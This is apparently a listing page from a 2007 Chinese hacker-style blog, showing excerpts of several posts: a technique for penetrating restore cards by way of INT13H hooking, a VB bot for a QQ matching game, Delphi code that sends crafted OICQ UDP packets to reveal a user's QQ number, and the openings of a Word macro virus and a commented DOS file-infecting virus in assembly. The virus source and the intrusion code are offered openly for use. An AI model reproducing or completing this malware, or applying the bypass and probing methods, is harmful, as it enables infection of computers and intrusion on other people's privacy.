1

穿透还原卡和还原软件的代码

2007/02/23    16:12    1180    GreyHawk 晴
    还原卡和还原软件被广泛运用于各种公共场合的电脑上,比如学校机房和网吧。这些还原卡和还原软件(以下我简称为虚拟还原技术)能够记录下一切对硬盘的写操作,不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作,只要一重新启动,一切都会恢复到这个操作之前的情况,因此有些虚拟还原厂商还会在广告词中加上一句“可以防范一切电脑病毒”。这种虚拟还原的方法在大部分时候的确可以对公共机房的电脑起到很好的保护作用,难道真的没有一种方法能够穿透这种保护机制么?答案是否定的,下面请听我一一道来。
一、虚拟还原技术的原理
本文所说的是一种普遍运用于还原卡或还原软件上的技术,当然,不同品牌不同厂商生产的可能不尽相同,但原理却是相通的。
首先,还原卡和还原软件会抢先夺取引导权,将原来的0头0道1扇保存在一个其他的扇区,(具体备份到那个扇区是不一定的),将自己的代码写入0头0道1扇,从而能在操作系统之前得到执行权,这一点类似于一个引导型病毒;然后,我们来看看虚拟还原技术在操作系统之前都做了些什么:
1.将中断向量表中的INT13H的入口地址保存;
2.把自己用于代替INT13H的代码写入内存,并记住入口地址,当然这种“写入内存”并不是普通的“写”,而是一种我们称为“常驻”的方法,有关“常驻程序”的实现方法我们不另外花篇幅来描述了,如果你还不了解的话请自己找有关资料,也可以到www.hackart.orgwww.lsky.net找风般的男人交流;
3.将中断向量表中INT13H的入口地址改为这段常驻程序的入口地址。补充一点,虚拟还原程序在修改INT13H的入口后往往都会修改一些其他中断入口,当然也是通过常驻程序来实现的,这些中断用来实现对中断向量表中INT13H入口地址监控,一旦发现被修改,就马上把它改回,这样做同样是用来防止被有心人破解。
好了,你已经看出来了,这段用来替代BIOS提供的INT13H的代码才是虚拟还原技术的关键,那么这段代码到底实现了些什么了,以下是本人对此拙浅的理解:
Tags: , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0
      这些日子,QQ游戏外挂是风光了一阵.俄罗斯方块,连连看,对对碰这些游戏的外挂层出不穷。其实这一类外挂的原理大体都是一样的。下面我就以QQ游戏对对碰外挂作为例子阐述一下QQ外挂的制作原理。

观察QQ游戏对对碰的游戏界面及游戏规则,发现玩家是在固定的一个游戏区内寻找复合要求的方块然后点击两次鼠标消去方块从而达到得分的目的。因此,我们可以通过模拟人的观察,和鼠标点击来实现外挂自动消除方块,完成全局。

取得可消方块(模拟人观察):要判断哪个方块可以消,我们可以通过获取方块某点的颜色来判断方块的类型,然后建立方块矩阵,然后在矩阵中选择出适合消去的方块。关于取颜色,我们用到几个API函数 GetPixel、GetDC、ReleaseDC。(详细的介绍请参考MSDN或各种API相关资料)
   
模拟鼠标击:在此我们使用 mouse_event 来模拟鼠标的移动,点击,弹起。个人认为用postmessage是更好的,在此使用mouse_event只是为了阐述简单。
****************************
'API类型定义
Private Type POINTAPI
   x As Long
   y As Long
End Type
Private Type RECT
   Left As Long
   Top As Long
   Right As Long
   Bottom As Long
End Type
'方块类型定义
Public Enum BOX_TYPE
Ox = 0
Dog = 1
Panda = 2
Chicken = 3
Cat = 4
Frog = 5
Monkey = 6
End Enum
'自定义方块数据类型x,y位方块坐标,type为方块类型.
Tags: , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0
追捕的OICQ探测技术

冯志宏

实际上目前所有的OICQ探测方法都一样,发送一个OICQ消息给对方,凭借OICQ 的返回信息来判断对方的OICQ号码,具体的DELPHI实现如下: NMUDP1是ICS控件包的UDP控件。

NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost := edit1.Text;
NMUDP1.RemotePort := 4000;


UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f
+FormatDateTime('yyyy-mm-dd',now)
+#$1f
+FormatDateTime('hh:mm:ss',now)
+#$1f
+ '你正在被某位朋友查询。他使用了追捕这个工具软件(http://www.zhuibu.com/)进行探测,此OICQ号码已经被反馈给对方。'

+ '信息所提示的OICQ号码为虚假号码,但可以即时回复。' + #$03;
Tags: | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0

台湾NO.1 WORD宏病毒源码

2007/01/10    10:33    962    GreyHawk 晴
Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0

        While test = - 1

            For i = 0 To 4
            nm(i) = Int(Rnd() * 10000)               
            con = (con * nm(i))
            If i = 4 Then
            tog$ = tog$ + Str$(nm(4)) + " =?"
            Goto beg
            End If
            tog$ = tog$ + Str$(nm(i)) + " *"
            Next i
beg:      
            Beep
            ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一个
心算游戏" +
Tags: | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0
这个病毒恐怕是世界上最简单的病毒了,它只会感染,不会有破坏动作。本文对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^

VirusLength equ VirusEnd-VirusStart
codeseg segment
assume cs:codeseg,ds:codeseg,ss:codeseg
org 100h
main proc near
InfectedCode db "M"
db 3 dup(90h)
VirusStart:
call WhereIAm
WhereIAm:
pop si
;si指向pop si的首地址now
mov bp,si
add si,Original4Bytes-WhereIAm
;si指向Original4Bytes的首地址now
mov di,100h
movsw
movsw
Tags: | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
分页: 8/10 第一页 上页 3 4 5 6 7 8 9 10 下页 最后页 [ 显示模式: 摘要 | 列表 ]